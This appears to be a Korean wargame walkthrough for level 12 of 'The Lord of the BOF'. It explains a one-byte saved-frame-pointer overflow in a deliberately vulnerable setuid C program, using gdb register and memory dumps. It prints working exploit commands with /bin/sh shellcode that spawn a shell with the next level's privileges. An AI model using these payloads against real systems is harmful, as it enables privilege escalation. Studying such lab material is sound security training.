본문 바로가기

카테고리 없음

The Lord of the BOF : The Fellowship of the BOF level12 golem -> darkknight


안녕하세요
BOF 원정대 level12풀이를 읽는 모든 여러분, 환영합니다.
편의를 위해 이 글은 총 4부분으로 나누었습니다.


0x0 TIP

Connecting to 125.129.219.159:23...
Connection established.
Escape character is '^@]'.
...
login: golem
Password: 
Last login: Sun Jan  8 06:11:38 from 192.168.0.250

시작하기전에 간단한 팁을 하나 드리겠습니다.(이미 알고계신분은 넘어가주세요)

[golem@localhost golem]$ chsh
Changing shell for golem.
Password: 
New shell [/bin/bash]: /bin/bash2
Shell changed.
기본 쉘을 변경한후 다시 로그인했습니다.

login: golem
Password: 
Last login: Sun Jan  8 06:12:07 from 192.168.0.250
[golem@localhost golem]$ ps
  PID TTY          TIME CMD
 4531 pts/0    00:00:00 bash2
 4548 pts/0    00:00:00 ps
다음 로그인시에 이와 같이 바로 bash2로 진입하게됩니다.
(다 음 레벨에 오르자마자 로그아웃전에 풀면 다행이겠지만 로그아웃할 일이 생긴경우 다음번에도 bash2를 일일이 입력해줘야됩니다. 자주 까먹기도하고 페이로드다짰는데 알고보니 bash라 안먹혀서 착각하거나 bash2쉘 진입후 ret주소를 바꿔주어야 된다는지 하는 일이 발생할 수 있으니 다음레벨에 오른경우 이 작업을 해주시길..)


0x1 준비하기

이제 문제 소스를 보겠습니다.
[golem@localhost golem]$ cat darkknight.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
char buffer[40];
strncpy(buffer, src, 41);
printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
if(argc<2){
printf("argv error\n");
exit(0);
}

problem_child(argv[1]);
}

1. argc 가 2 미만인경우 종료
2. argv[1]가 buffer배열로 최대 41개까지 복사됨(1Byte overflow)

RedHat 원정대에서 gcc의 버전은 2.91.66으로 dummy가 발생하지 않는 버전임을 생각해보면
40까지는 buffer배열, 41부터는 sfp(stack frame pointer)임을 알수가 있습니다.
이번 문제는 sfp다음에 있는 리턴어드레스까진 argv[1]이 복사되지않으므로

따라서 sfp의 1byte를 바꿀수 있다는 점을 이용합니다.(stack frame pointer overflow)


예시)
41Byte의 인자로 \x90을 넣은경우( [golem@localhost golem]$ ./darknight $(python -c 'print "\x90"*41') )
sfp에 원래 들어있던값이 0xbffffa08이라 가정한다면
여기선 메모리가 Little-Endian 방식으로 쓰여지므로  08 fa ff bf로 쓰여있습니다.
따라서 41번째 인자가 sfp의 첫부분을 침범하므로 메모리에 있던 sfp는 90 fa ff bf로 0xbffffa90이 되었습니다.


0x2 원리이해
하지만 어떻게 sfp를 1byte를 바꾸는것만으로 실행흐름을 조작할수 있을까요? 지금부터 본격적으로 나갑니다.

[golem@localhost golem]$ cp darkknight ddrkknight 
[golem@localhost golem]$ gdb -q ddrkknight 
(gdb) disassemble main
Dump of assembler code for function main:
0x804846c <main>: push   %ebp
0x804846d <main+1>: mov    %esp,%ebp
0x804846f <main+3>: cmpl   $0x1,0x8(%ebp)
0x8048473 <main+7>: jg     0x8048490 <main+36>
0x8048475 <main+9>: push   $0x8048504
0x804847a <main+14>: call   0x8048354 <printf>
0x804847f <main+19>: add    $0x4,%esp
0x8048482 <main+22>: push   $0x0
0x8048484 <main+24>: call   0x8048364 <exit>
0x8048489 <main+29>: add    $0x4,%esp
0x804848c <main+32>: lea    0x0(%esi,1),%esi
0x8048490 <main+36>: mov    0xc(%ebp),%eax
0x8048493 <main+39>: add    $0x4,%eax
0x8048496 <main+42>: mov    (%eax),%edx
0x8048498 <main+44>: push   %edx
0x8048499 <main+45>: call   0x8048440 <problem_child>
0x804849e <main+50>: add    $0x4,%esp
0x80484a1 <main+53>: leave  
0x80484a2 <main+54>: ret    
0x80484a3 <main+55>: nop    
0x80484a4 <main+56>: nop    
0x80484a5 <main+57>: nop    
0x80484a6 <main+58>: nop    
0x80484a7 <main+59>: nop    
0x80484a8 <main+60>: nop    
0x80484a9 <main+61>: nop    
0x80484aa <main+62>: nop    
0x80484ab <main+63>: nop    
0x80484ac <main+64>: nop    
0x80484ad <main+65>: nop    
0x80484ae <main+66>: nop    
0x80484af <main+67>: nop    
End of assembler dump.
(gdb) disassemble problem_child
Dump of assembler code for function problem_child:
0x8048440 <problem_child>: push   %ebp
0x8048441 <problem_child+1>:mov    %esp,%ebp
0x8048443 <problem_child+3>: sub    $0x28,%esp
0x8048446 <problem_child+6>: push   $0x29
0x8048448 <problem_child+8>: mov    0x8(%ebp),%eax
0x804844b <problem_child+11>: push   %eax
0x804844c <problem_child+12>: lea    0xffffffd8(%ebp),%eax
0x804844f <problem_child+15>: push   %eax
0x8048450 <problem_child+16>: call   0x8048374 <strncpy>
0x8048455 <problem_child+21>: add    $0xc,%esp
0x8048458 <problem_child+24>: lea    0xffffffd8(%ebp),%eax
0x804845b <problem_child+27>: push   %eax
0x804845c <problem_child+28>: push   $0x8048500
0x8048461 <problem_child+33>: call   0x8048354 <printf>
0x8048466 <problem_child+38>: add    $0x8,%esp
0x8048469 <problem_child+41>: leave  
0x804846a <problem_child+42>: ret    
0x804846b <problem_child+43>: nop    
End of assembler dump.

여기서 bold한부분이 중점적으로 볼 부분들입니다.
(gdb) break *main 
Breakpoint 1 at 0x804846c
(0x804846c <main>: push   %ebp)

(gdb) break *main+1
Breakpoint 2 at 0x804846d
(0x804846d <main+1>: mov    %esp,%ebp)

(gdb) break main
Breakpoint 3 at 0x804846f
(0x804846f <main+3>: cmpl   $0x1,0x8(%ebp) )
※ main은 *main과 달리 stack이 형성된 바로 그 다음시점을 의미합니다. 함수프롤로그라고 불리기도 하죠

(gdb) break *main+45
Breakpoint 4 at 0x8048499(problem_child 호출직전)
(0x8048499 <main+45>: call   0x8048440 <problem_child>)

(gdb) break *problem_child
Breakpoint 5 at 0x8048440
(0x8048440 <problem_child>: push   %ebp)

(gdb) break *problem_child+1
Breakpoint 6 at 0x8048441
(0x8048441 <problem_child+1>: mov    %esp,%ebp)

(gdb) break *problem_child+3
Breakpoint 7 at 0x8048443
(0x8048443 <problem_child+3>: sub    $0x28,%esp)

(gdb) break problem_child  
Breakpoint 8 at 0x8048446
(0x8048446 <problem_child+6>: push   $0x29)
※ 위와 마찬가지

(gdb) b *problem_child+41
Breakpoint 9 at 0x8048469
(0x8048469 <problem_child+41>: leave)

(gdb) break *problem_child+42
Breakpoint 10 at 0x804846a
(0x804846a <problem_child+42>: ret)

(gdb) break *main+53
Breakpoint 11 at 0x80484a1
(0x80484a1 <main+53>: leave)

(gdb) break *main+54
Breakpoint 12 at 0x80484a2
(0x80484a2 <main+54>: ret)

총 12개의 breakpoint를 걸었습니다.

-알아두기-
ESP : 스택의 상단을 가리키는 레지스터
EBP : BasePointer라고 불리며 이전 함수의 stack frame pointer 값을 기억하는 레지스터
EIP : 다음에 수행할 명령을 가리키는 레지스터(함수를 마칠때는 리턴 어드레스가 됨)

실제로 EBP ESP EIP가 위의 역할을 하는지 살펴보죠.
이번엔 0x50을 넣고 실행해보겠습니다.

(gdb) run $(python -c 'print "\x50"*41')
Starting program: /home/golem/ddrkknight $(python -c 'print "\x50"*41')

Breakpoint 1, 0x804846c in main ()
(gdb) info registers ebp esp eip
ebp            0xbffffaf8 -1073743112
esp            0xbffffadc -1073743140
eip            0x804846c 134513772
ebp push 전

(gdb) nexti

Breakpoint 2, 0x804846d in main ()
(gdb) info registers ebp esp eip
ebp            0xbffffaf8 -1073743112
esp            0xbffffad8 -1073743144
eip            0x804846d 134513773
ebp push 후

(gdb) nexti
0x804846f in main ()
(gdb) info registers ebp esp eip
ebp            0xbffffad8 -1073743144
esp            0xbffffad8 -1073743144
eip            0x804846f 134513775
mov %esp,%ebp 수행후
여기까진 ebp를 push해서 이전의 stack frame pointer 값을 기억시키고 ebp에 esp의 값을 옮겨 새로운 스택을 형성했습니다.

(gdb) continue
Continuing.
계속해서보겠습니다.

Breakpoint 4, 0x8048499 in main ()
(gdb) info registers ebp esp eip
ebp            0xbffffad8 -1073743144
esp            0xbffffad4 -1073743148
eip            0x8048499 134513817
problem_child call 직전
(gdb) continue 
Continuing.

Breakpoint 5, 0x8048440 in problem_child ()
(gdb) info registers ebp esp eip
ebp            0xbffffad8 -1073743144
esp            0xbffffad0 -1073743152
eip            0x8048440 134513728
problem_child call 후
call문의 수행으로 esp의 값이 바뀌었습니다. (다음위치에 있는 명령이 stack에 push 되기때문)

(gdb) nexti

Breakpoint 6, 0x8048441 in problem_child ()
(gdb) info registers ebp esp eip
ebp            0xbffffad8 -1073743144
esp            0xbffffacc -1073743156
eip            0x8048441 134513729
problem_child 진입후
esp가 다른곳으로 바뀌었습니다. 새로운 스택을 형성하기위한 단계입니다.
여기서 이전 함수의 stack frame pointer 값을 기억하기 위해 ebp는 push 되어 esp는 0x4만큼 sub되었습니다.

(gdb) nexti
Breakpoint 7, 0x8048443 in problem_child ()
(gdb) info registers ebp esp eip
ebp            0xbffffacc -1073743156
esp            0xbffffacc -1073743156
eip            0x8048443 134513731
mov    %esp,%ebp 수행후
ebp가 esp와 같아졌습니다.

(gdb) nexti
0x8048446 in problem_child ()
(gdb) info registers ebp esp eip
ebp            0xbffffacc -1073743156
esp            0xbffffaa4 -1073743196
eip            0x8048446 134513734
sub    $0x28,%esp 수행후
esp가 0x28만큼 줄어들었습니다. 여기까지가 problem_child의 함수 프롤로그입니다.

(gdb) continue 
Continuing.
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP??„9?원?옹 @

Breakpoint 9, 0x8048469 in problem_child ()
(gdb) info registers ebp esp eip
ebp            0xbffffacc -1073743156
esp            0xbffffaa4 -1073743196
eip            0x8048469 134513769
leave 수행 직전
(gdb) nexti
0x804846a in problem_child ()
(gdb) info registers ebp esp eip
ebp            0xbffffa50 -1073743280
esp            0xbffffad0 -1073743152
eip            0x804846a 134513770
leave 수행 후, ret 수행 직전
다시 스택을 반환하는 과정입니다. (free함수 같은것에 비유할수 있을려나..?)
아까와는 반대로 leave에선 mov %ebp, %esp와 pop %ebp가 일어납니다.
그런데 보시는 바와 같이 아까 넣었던 50으로 인해 pop ebp할때 ebp 값이 변했습니다. 또한 이것으로 esp는 4byte증가하게 됩니다.

(gdb) nexti
0x804849e in main ()
(gdb) info registers ebp esp eip
ebp            0xbffffa50 -1073743280
esp            0xbffffad4 -1073743148
eip            0x804849e 134513822
ret 수행후
ret명령은 증가한 esp는 eip에 참조한후 eip를 리턴어드레스로 인식해서 다음 실행할 주소로 넘어갑니다.

(gdb) continue 
Continuing.

Breakpoint 11, 0x80484a1 in main ()
(gdb) info registers ebp esp eip
ebp            0xbffffa50 -1073743280
esp            0xbffffad8 -1073743144
eip            0x80484a1 134513825
add    $0x4,%esp 수행후, leave 수행 직전
다시 main함수로 진입하여 esp에 4를 더합니다.

(gdb) nexti
0x80484a2 in main ()
(gdb) info registers ebp esp eip
ebp            0x400143e0 1073824736
esp            0xbffffa54 -1073743276
eip            0x80484a2 134513826
(gdb) nexti
leave 수행 후, ret 수행 직전
이번엔 main서 일어난 leave입니다. 마찬가지로 ebp를 esp에 옮긴후 pop ebp를 합니다.
(ebp엔 맨처음에 0x804846c에서 push했던 ebp가 복원됩니다.)
덕분에 ebp의 값을 이어받은 esp는 4만큼 증가하여 0xbffffa54가됩니다.

Program received signal SIGSEGV, Segmentation fault.
0x40021df3 in ?? () from /lib/libc.so.6
(gdb) info registers ebp esp eip
ebp            0x400143e0 1073824736
esp            0x401088c0 1074825408
eip            0x40021df3 1073880563
ret 수행후
esp를 참조하여 점프하게되면 아직 점프한 곳엔 실행할 쉘코드를 넣어놓지 않았습니다. 근본적으론 참조할 esp에 정상적인 주소가 적혀있지않을 겁니다. Segmentation fault신호를 받게되죠
Segmentation fault받은후 ddrkknight은 종료되어 프로그램은 실행하기전으로 원래대로 돌아가게됩니다.

(gdb) nexti

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) q
따라서 정상적인 종료가 아닌 Segmentation fault가 되었습니다.



전체적인 흐름을 보았으면 이제 이 원리를 압축(?)합시다.
problem_child 함수내부에서 leave명령중 pop ebp 부분에의해 우리가 overflow시킨 값 1byte가 변경됩니다.
다시 main으로 돌아와서 leave명령을 수행하면 ebp의 값은 esp로 이동하게되고 esp는 pop ebp로 인해 4만큼 증가합니다.
이때 다음명령인 ret명령이 esp에있는 부분을 eip에 참조한후 리턴어드레스로 쓰므로
결국 50+4 인 0xbffffa54를 eip에 참조하게 됩니다.

따라서 우리는 SFP 1byte변조하여 eip부분에 참조하길 원하는 위치가 예를들어 0xbffffa54인경우
./darkknight $(python -c 'print "\x50"*41')

0xbffffa88인경우
./darkknight $(python -c 'print "\x84"*41')

이런식으로 넣어주면 될것입니다.

마지막으로 참조하길 원하는 위치를 수정했으면 이제 그곳엔 리턴 어드레스를 리틀 엔디언 방식으로 넣어주시면됩니다.


0x3 공격코드 작성
그렇다면 참조하길 원하는 위치는 어떤위치가 좋을까요?
우리가 자유롭게 값을 넣을수 있는 공간이어야합니다.
환경변수에 리턴어드레스를 넣을려면 1byte만 가까스로 변경가능했기때문에 주소가 좀 멀리있어서 불가능합니다.

대체 어디를 리턴어드레스를 넣는 공간으로 써야될까요?
저는 아까 쓰였던 buffer배열을 쓰겠습니다. 가장 가까운 주소일것같군요.
1byte를 변경해서 buffer배열을 esp가 가리키게 만들수 있습니다.

buffer배열의 시작점이든 끝점이든 어디든 리틀 엔디안 방식으로 아무대나 리턴어드레스를 4byte를 넣어서 사용할수있습니다.

그럼 지금부터 확인해보도록하죠.
[golem@localhost golem]$ gdb -q ddrkknight
(gdb) b *main+54
main함수의 ret 직전에 bp를 걸었습니다.
Breakpoint 1 at 0x80484a2
(gdb) r $(python -c 'print "\x50"*41')
Starting program: /home/golem/ddrkknight $(python -c 'print "\x50"*41')
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP??„9?원?옹 @

Breakpoint 1, 0x80484a2 in main ()
(gdb) info registers esp
esp            0xbffffa54 -1073743276
예상대로 50+4인 54로 esp가 변경되었습니다.
(gdb) x/120bx $esp
0xbffffa54: 0xf0 0x1d 0x02 0x40 0xc0 0x88 0x10 0x40
0xbffffa5c: 0x2c 0x98 0x02 0x40 0xf0 0x1d 0x02 0x40
0xbffffa64: 0x94 0xfa 0xff 0xbf 0x70 0xa9 0x00 0x40
0xbffffa6c: 0x62 0xfc 0xff 0xbf 0xcc 0xfa 0xff 0xbf
0xbffffa74: 0x20 0xd9 0x05 0x40 0xe0 0x43 0x01 0x40
0xbffffa7c: 0x94 0xfa 0xff 0xbf 0x70 0x60 0x06 0x40
0xbffffa84: 0x80 0x69 0x10 0x40 0x00 0x85 0x04 0x08
0xbffffa8c: 0xa4 0xfa 0xff 0xbf 0xec 0x81 0x10 0x40
0xbffffa94: 0xcc 0xfa 0xff 0xbf 0x66 0x84 0x04 0x08
0xbffffa9c: 0x00 0x85 0x04 0x08 0xa4 0xfa 0xff 0xbf
0xbffffaa4: 0x50 0x50 0x50 0x50 0x50 0x50 0x50 0x50
0xbffffaac: 0x50 0x50 0x50 0x50 0x50 0x50 0x50 0x50
0xbffffab4: 0x50 0x50 0x50 0x50 0x50 0x50 0x50 0x50
0xbffffabc: 0x50 0x50 0x50 0x50 0x50 0x50 0x50 0x50
0xbffffac4: 0x50 0x50 0x50 0x50 0x50 0x50 0x50 0x50

0xbffffaa4-4인 a0으로 sfp를 변경한다면 ret명령에 의해 eip에 참조되는 esp가 buffer의 시작부분인 0xbffffaa4를 참조하게 할수있겠네요.

그럼 buffer시작부분엔 buffer배열로의 리턴주소를 그다음부분에는 적정량의 nop를 sfp전부분은 쉘코드를 넣는다면 공격은 성공적일것입니다.

제가 작성한 페이로드는 다음과 같습니다.
[리턴주소 4byte]+[nop 12byte]+[shellcode 24byte]+[sfp 1byte]

그런데 0xbffffa9c: 0x00 0x85 0x04 0x08 0xa4 0xfa 0xff 0xbf를 보면 이미 buffer배열의 시작주소가 존재하고 있습니다. 이곳으로 해보겠습니다.

[리턴주소 4byte](앞에 이미 존재함)+[nop 16byte]+[shellcode 24byte]+[sfp 1byte]
0xbffffa9c=0xbffffaa0-4 이므로

[golem@localhost golem]$ ./darkknight $(python -c 'print "\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x9c"')
1?h//shh/bin‰?S‰?
                                    것?#156;??„ ?왠?옹 @
Segmentation fault


그런데 Segmentation fault이뜨는군요 사본파일에 시도해서 core를 살펴보겠습니다.


[golem@localhost golem]$ ./ddrkknight $(python -c 'print "\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x9c"')
1?h//shh/bin‰?S‰?
                                    것?#156;??„ ?왠?옹 @
Segmentation fault (core dumped)
[golem@localhost golem]$ gdb -q ddrkknight core
Core was generated by `./ddrkknight 1?h//shh/bin‰?S‰?
                                                                        것?#156;'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0  0x50e3896e in ?? ()
(gdb) x/120bx 0xbffffa9c
0xbffffa9c: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50
0xbffffaa4: 0x53 0x89 0xe1 0x99 0xb0 0x0b 0xcd 0x80
0xbffffaac: 0x9c 0xfa 0xff 0xbf 0x9e 0x84 0x04 0x08
0xbffffab4: 0x1d 0xfc 0xff 0xbf 0xd8 0xfa 0xff 0xbf
0xbffffabc: 0xcb 0x09 0x03 0x40 0x02 0x00 0x00 0x00
0xbffffac4: 0x04 0xfb 0xff 0xbf 0x10 0xfb 0xff 0xbf
0xbffffacc: 0x68 0x38 0x01 0x40 0x02 0x00 0x00 0x00
0xbffffad4: 0x90 0x83 0x04 0x08 0x00 0x00 0x00 0x00
0xbffffadc: 0xb1 0x83 0x04 0x08 0x6c 0x84 0x04 0x08
0xbffffae4: 0x02 0x00 0x00 0x00 0x04 0xfb 0xff 0xbf
0xbffffaec: 0xe4 0x82 0x04 0x08 0xdc 0x84 0x04 0x08
0xbffffaf4: 0x60 0xae 0x00 0x40 0xfc 0xfa 0xff 0xbf
0xbffffafc: 0x90 0x3e 0x01 0x40 0x02 0x00 0x00 0x00
0xbffffb04: 0x10 0xfc 0xff 0xbf 0x1d 0xfc 0xff 0xbf
0xbffffb0c: 0x00 0x00 0x00 0x00 0x47 0xfc 0xff 0xbf
(gdb) (여기서 아무입력없이 그냥 엔터를 치면 바로 다음 번지가 나타납니다)
0xbffffb14: 0x57 0xfc 0xff 0xbf 0x70 0xfc 0xff 0xbf
0xbffffb1c: 0x8f 0xfc 0xff 0xbf 0xb1 0xfc 0xff 0xbf
0xbffffb24: 0xbc 0xfc 0xff 0xbf 0x7f 0xfe 0xff 0xbf
0xbffffb2c: 0x9e 0xfe 0xff 0xbf 0xb9 0xfe 0xff 0xbf
0xbffffb34: 0xce 0xfe 0xff 0xbf 0xeb 0xfe 0xff 0xbf
0xbffffb3c: 0xf6 0xfe 0xff 0xbf 0x0e 0xff 0xff 0xbf
0xbffffb44: 0x1c 0xff 0xff 0xbf 0x24 0xff 0xff 0xbf
0xbffffb4c: 0x35 0xff 0xff 0xbf 0x3f 0xff 0xff 0xbf
0xbffffb54: 0x4d 0xff 0xff 0xbf 0x5e 0xff 0xff 0xbf
0xbffffb5c: 0x6c 0xff 0xff 0xbf 0x77 0xff 0xff 0xbf
0xbffffb64: 0x88 0xff 0xff 0xbf 0xc9 0xff 0xff 0xbf
0xbffffb6c: 0xd8 0xff 0xff 0xbf 0x00 0x00 0x00 0x00
0xbffffb74: 0x03 0x00 0x00 0x00 0x34 0x80 0x04 0x08
0xbffffb7c: 0x04 0x00 0x00 0x00 0x20 0x00 0x00 0x00
0xbffffb84: 0x05 0x00 0x00 0x00 0x06 0x00 0x00 0x00
아무리 살펴봐도 없습니다 ㅎㅎ gdb에서 보여주는 메모리는 실제주소와 어느정도 차이가 있다고 하네요.
(gdb) info registers esp
esp            0xbffffaa4 -1073743196
결국 esp를 살펴보고
(gdb) x/120bx $esp-120
거기서 esp에서 적당히 뺀부분을 보면
0xbffffa2c: 0x04 0xfb 0xff 0xbf 0xe0 0x43 0x01 0x40
0xbffffa34: 0xf0 0x1d 0x02 0x40 0xc0 0x88 0x10 0x40
0xbffffa3c: 0x2c 0x98 0x02 0x40 0xf0 0x1d 0x02 0x40
0xbffffa44: 0x74 0xfa 0xff 0xbf 0x70 0xa9 0x00 0x40
0xbffffa4c: 0x46 0xfc 0xff 0xbf 0xac 0xfa 0xff 0xbf
0xbffffa54: 0x20 0xd9 0x05 0x40 0xe0 0x43 0x01 0x40
0xbffffa5c: 0x74 0xfa 0xff 0xbf 0x70 0x60 0x06 0x40
0xbffffa64: 0x80 0x69 0x10 0x40 0x00 0x85 0x04 0x08
0xbffffa6c: 0x84 0xfa 0xff 0xbf 0xec 0x81 0x10 0x40
0xbffffa74: 0xac 0xfa 0xff 0xbf 0x66 0x84 0x04 0x08
0xbffffa7c: 0x00 0x85 0x04 0x08 0x84 0xfa 0xff 0xbf
0xbffffa84: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffffa8c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffffa94: 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68
0xbffffa9c: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50

아까넣은 nop가 보입니다!
이걸 토대로 다시 공격을 시도해보겠습니다.

7c를 넣는다면 esp는 main의 leave작업으로 인해 4만큼 증가하여 0xbffffa80이 되고 그곳엔 0x84 0xfa 0xff 0xbf가 존재하므로
[golem@localhost golem]$ ./ddrkknight $(python -c 'print "\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x7c"')
1?h//shh/bin‰?S‰?
                                    것???„ ?왠?옹 @
bash$ id
uid=511(golem) gid=511(golem) groups=511(golem)
bash$ exit
exit
성공적입니다.

이제 원본에 시도해봅시다.
[golem@localhost golem]$ ./darkknight $(python -c 'print "\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x7c"')
1?h//shh/bin‰?S‰?
                                    ?|??„ ?왠?옹 @
bash$ whoami
darkknight
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker
bash$ exit
exit
패스워드는 전과동일하게 착한분들한텐 안보입니다.ㅎ

이번엔 buffer주소를 직접쓰고 esp값을 쓴부분이 되도록 해보겠습니다.
저는 nop뒤쪽에 리턴주소를 쓸 예정이니 7c에 16을 더해줍니다.

[golem@localhost golem]$ ./darkknight $(python -c 'print "\x90"*12+""
8c가 됩니다. 이제 리턴주소를 써주면되는데 buffer의 시작주소를 가리키게 한다면
nop를 열심히 따라가다가 우리가 써준 리턴주소를 만나게되서 Segmentation fault가 강림하게 될지도 모릅니다.
그러므로 쉘코드가 시작하는 주소를 정확히 맞춰서 넣어줍시다.
0x84 0xfa 0xff 0xbf가 buffer의 시작주소니 여기서 16을 더해준다면
0x94 0xfa 0xff 0xbf가 되겠네요.
[golem@localhost golem]$ ./darkknight $(python -c 'print "\x90"*12+"\x94\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x8c"')
”???h//shh/bin‰?S‰?
                                    ?Œ??„ ?왠?옹 @
bash$ whoami
darkknight
bash$ exit
exit
이제 리턴어드레스는 정확히 쉘코드가 시작되는 부분을 가리켰으니 nop는 사실상 필요없습니다. 인터럽트를 나타내는 cd를 넣어줘도 상관없죠ㅎ

[golem@localhost golem]$ ./darkknight $(python -c 'print "\xcd"*12+"\x94\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x8c"')
袴袴袴袴袴袴”???h//shh/bin‰?S‰?
                                    ?Œ??„ ?왠?옹 @
bash$ exit

이제 숙련되신분은 이렇게 offset을 바꿔가면서 원하는 방법으로 쉘을 따실수있습니다.

수고하셨습니다.